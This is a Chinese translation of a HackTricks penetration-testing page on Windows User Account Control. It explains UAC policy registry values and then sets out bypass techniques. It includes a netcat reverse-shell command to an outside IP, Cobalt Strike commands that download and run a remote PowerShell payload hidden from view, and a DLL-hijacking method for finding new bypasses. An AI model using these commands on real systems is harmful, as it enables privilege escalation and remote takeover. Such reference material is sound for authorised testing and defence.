19 KiB
UAC - 用户账户控制
从零开始学习AWS黑客技术,成为 htARTE (HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。**
使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
UAC
用户账户控制 (UAC) 是一个功能,它启用了提升活动的同意提示。应用程序具有不同的integrity
级别,具有高级别的程序可以执行可能危害系统的任务。当UAC启用时,应用程序和任务始终在非管理员账户的安全上下文下运行,除非管理员明确授权这些应用程序/任务以管理员级别的访问权限在系统上运行。它是一个便利功能,可以保护管理员免受意外更改,但不被视为安全边界。
有关完整性级别的更多信息:
{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}
当UAC到位时,管理员用户会获得两个令牌:一个标准用户密钥,用于以常规级别执行常规操作,以及一个具有管理员权限的密钥。
此页面深入讨论了UAC的工作原理,包括登录过程、用户体验和UAC架构。管理员可以使用安全策略来配置UAC的工作方式,以适应其组织在本地级别(使用secpol.msc),或者通过在Active Directory域环境中的组策略对象(GPO)配置和推送。各种设置在此处详细讨论。有10个组策略设置可以为UAC设置。下表提供了更多细节:
组策略设置 | 注册表键 | 默认设置 |
---|---|---|
用户账户控制:内置管理员账户的管理员批准模式 | FilterAdministratorToken | 禁用 |
用户账户控制:允许UIAccess应用程序在不使用安全桌面的情况下提示提升 | EnableUIADesktopToggle | 禁用 |
用户账户控制:管理员批准模式下管理员的提升提示行为 | ConsentPromptBehaviorAdmin | 对非Windows二进制文件提示同意 |
用户账户控制:标准用户的提升提示行为 | ConsentPromptBehaviorUser | 在安全桌面上提示凭据 |
用户账户控制:检测应用程序安装并提示提升 | EnableInstallerDetection | 启用(家庭版默认)禁用(企业版默认) |
用户账户控制:仅提升已签名并验证的可执行文件 | ValidateAdminCodeSignatures | 禁用 |
用户账户控制:仅提升安装在安全位置的UIAccess应用程序 | EnableSecureUIAPaths | 启用 |
用户账户控制:以管理员批准模式运行所有管理员 | EnableLUA | 启用 |
用户账户控制:在提示提升时切换到安全桌面 | PromptOnSecureDesktop | 启用 |
用户账户控制:将文件和注册表写入失败虚拟化到每个用户的位置 | EnableVirtualization | 启用 |
UAC绕过理论
如果用户属于 管理员组,某些程序会自动提升。这些二进制文件在其_清单中具有autoElevate选项,值为True_。二进制文件还必须由Microsoft签名。
因此,为了绕过 UAC(从中等完整性级别提升到高),一些攻击者使用这类二进制文件来执行任意代码,因为它将从高完整性级别进程执行。
您可以使用Sysinternals的工具_sigcheck.exe_ 检查二进制文件的_清单。您可以使用_Process Explorer_或_Process Monitor(Sysinternals的工具)查看进程的完整性级别。
检查UAC
要确认UAC是否启用,请执行:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
如果是**1
,则UAC处于激活状态,如果是0
或者不存在**,则UAC处于非激活状态。
然后,检查配置了哪个级别:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- 如果
0
则,UAC不会提示(如同禁用) - 如果
1
管理员需要输入用户名和密码来以高权限执行二进制文件(在安全桌面上) - 如果
2
(始终通知我)UAC将始终要求管理员在尝试以高权限执行某些操作时确认(在安全桌面上) - 如果
3
类似于1
但不必在安全桌面上 - 如果
4
类似于2
但不必在安全桌面上 - 如果
5
(默认)它会要求管理员确认运行非Windows二进制文件以高权限
然后,你需要查看 LocalAccountTokenFilterPolicy
的值
如果值是 0
,那么,只有 RID 500 用户(内置管理员)能够执行不经UAC的管理员任务,如果是 1
,"管理员" 组内的所有账户都可以执行它们。
最后,查看键 FilterAdministratorToken
的值
如果 0
(默认),内置管理员账户可以执行远程管理任务,如果是 1
内置管理员账户不能执行远程管理任务,除非 LocalAccountTokenFilterPolicy
设置为 1
。
总结
- 如果
EnableLUA=0
或不存在,任何人都没有UAC - 如果
EnableLua=1
且LocalAccountTokenFilterPolicy=1
,任何人都没有UAC - 如果
EnableLua=1
且LocalAccountTokenFilterPolicy=0
且FilterAdministratorToken=0
,RID 500(内置管理员)没有UAC - 如果
EnableLua=1
且LocalAccountTokenFilterPolicy=0
且FilterAdministratorToken=1
,每个人都有UAC
所有这些信息可以使用 metasploit 模块收集:post/windows/gather/win_privs
你也可以检查你的用户所在的组并获取完整性级别:
net user %username%
whoami /groups | findstr Level
UAC 绕过
{% hint style="info" %} 请注意,如果您可以图形化地访问受害者,UAC 绕过是直截了当的,因为当 UAS 提示出现时,您可以简单地点击“是”。 {% endhint %}
在以下情况下需要 UAC 绕过:UAC 被激活,您的进程在中等完整性上下文中运行,且您的用户属于管理员组。
重要的是要提到,如果 UAC 处于最高安全级别(始终),绕过 UAC 要比在任何其他级别(默认)更难。
UAC 已禁用
如果 UAC 已经被禁用(ConsentPromptBehaviorAdmin
是 0
),您可以使用类似的方法执行具有管理员权限的反向 shell(高完整性级别):
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
UAC绕过与令牌复制
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
非常基础的UAC“绕过”(完整文件系统访问)
如果你拥有一个用户的shell,而该用户位于Administrators组中,你可以通过SMB(文件系统)挂载C$共享到本地新磁盘,你将能够访问文件系统内的所有内容(甚至包括Administrator的主文件夹)。
{% hint style="warning" %} 看起来这个技巧已经不再有效 {% endhint %}
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
使用 Cobalt Strike 绕过 UAC
如果 UAC 没有设置为最高安全级别,Cobalt Strike 技术才会有效
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Empire 和 Metasploit 也有多个模块用于绕过 UAC。
KRBUACBypass
文档和工具在 https://github.com/wh0amitz/KRBUACBypass
UAC 绕过漏洞利用
UACME 是多个UAC绕过漏洞的编译集合。请注意,您需要使用visual studio或msbuild编译UACME。编译将创建多个可执行文件(如 Source\Akagi\outout\x64\Debug\Akagi.exe
),您需要知道您需要哪一个。
您应该小心,因为某些绕过会提示其他程序,这将警告 用户有事情正在发生。
UACME有从每种技术开始有效的构建版本。您可以搜索影响您版本的技术:
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
此外,使用[此页面](https://en.wikipedia.org/wiki/Windows_10_version_history)您可以从构建版本中获取Windows发布`1607`。
#### 更多UAC绕过
**所有**在此处使用的技术绕过AUC **需要**与受害者有一个**完全交互式的shell**(常见的nc.exe shell是不够的)。
您可以使用**meterpreter**会话获得。迁移到一个**进程**,其**Session**值等于**1**:
![](<../../.gitbook/assets/image (96).png>)
(_explorer.exe_ 应该可以工作)
### 使用GUI绕过UAC
如果您可以访问**GUI,您只需在收到UAC提示时接受它**,您实际上不需要绕过它。因此,获取对GUI的访问将允许您绕过UAC。
此外,如果您获得某人正在使用的GUI会话(可能通过RDP),那么将有一些**工具将以管理员身份运行**,您可以从中**运行**例如**cmd**作为管理员直接而不会再次被UAC提示,如[**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)。这可能会更加**隐蔽**。
### 嘈杂的暴力破解UAC绕过
如果您不在乎制造噪音,您可以始终**运行类似** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) 的东西,它会**要求提升权限直到用户接受它**。
### 您自己的绕过 - 基本UAC绕过方法论
如果您查看**UACME**,您会注意到**大多数UAC绕过都是滥用Dll劫持漏洞**(主要是在_C:\Windows\System32_上写入恶意dll)。[阅读此内容以了解如何找到Dll劫持漏洞](../windows-local-privilege-escalation/dll-hijacking.md)。
1. 找到一个将**自动提升**的二进制文件(检查当它被执行时它在高完整性级别中运行)。
2. 使用procmon找到可能对**DLL劫持**易受攻击的“**NAME NOT FOUND**”事件。
3. 您可能需要将DLL**写入**一些**受保护的路径**(如C:\Windows\System32),您没有写入权限。您可以使用以下方法绕过此限制:
1. **wusa.exe**:Windows 7,8 和 8.1。它允许在受保护的路径内提取CAB文件的内容(因为这个工具是从高完整性级别执行的)。
2. **IFileOperation**:Windows 10。
4. 准备一个**脚本**来复制您的DLL到受保护的路径并执行易受攻击且自动提升的二进制文件。
### 另一种UAC绕过技术
包括监视**自动提升的二进制文件**是否尝试从**注册表**中**读取**要**执行**的**二进制文件**或**命令**的**名称/路径**(如果二进制文件在**HKCU**内搜索此信息则更有趣)。
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进**的社区工具提供支持。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
支持HackTricks的其他方式:
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>